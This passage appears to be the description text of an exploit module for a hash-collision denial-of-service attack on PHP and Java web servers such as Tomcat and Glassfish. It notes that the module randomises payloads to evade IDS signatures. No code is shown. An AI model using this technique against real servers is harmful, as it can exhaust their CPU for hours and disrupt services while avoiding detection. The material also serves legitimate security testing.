14
        This module uses a denial-of-service (DoS) condition appearing in a variety of
15
        programming languages. This vulnerability occurs when storing multiple values
16
        in a hash table and all values have the same hash value. This can cause a web server
17
        parsing the POST parameters issued with a request into a hash table to consume
18
        hours of CPU with a single HTTP request.
19

20
        Currently, only the hash functions for PHP and Java are implemented.
21
        This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
22
        It also generates a random payload to bypass some IDS signatures.
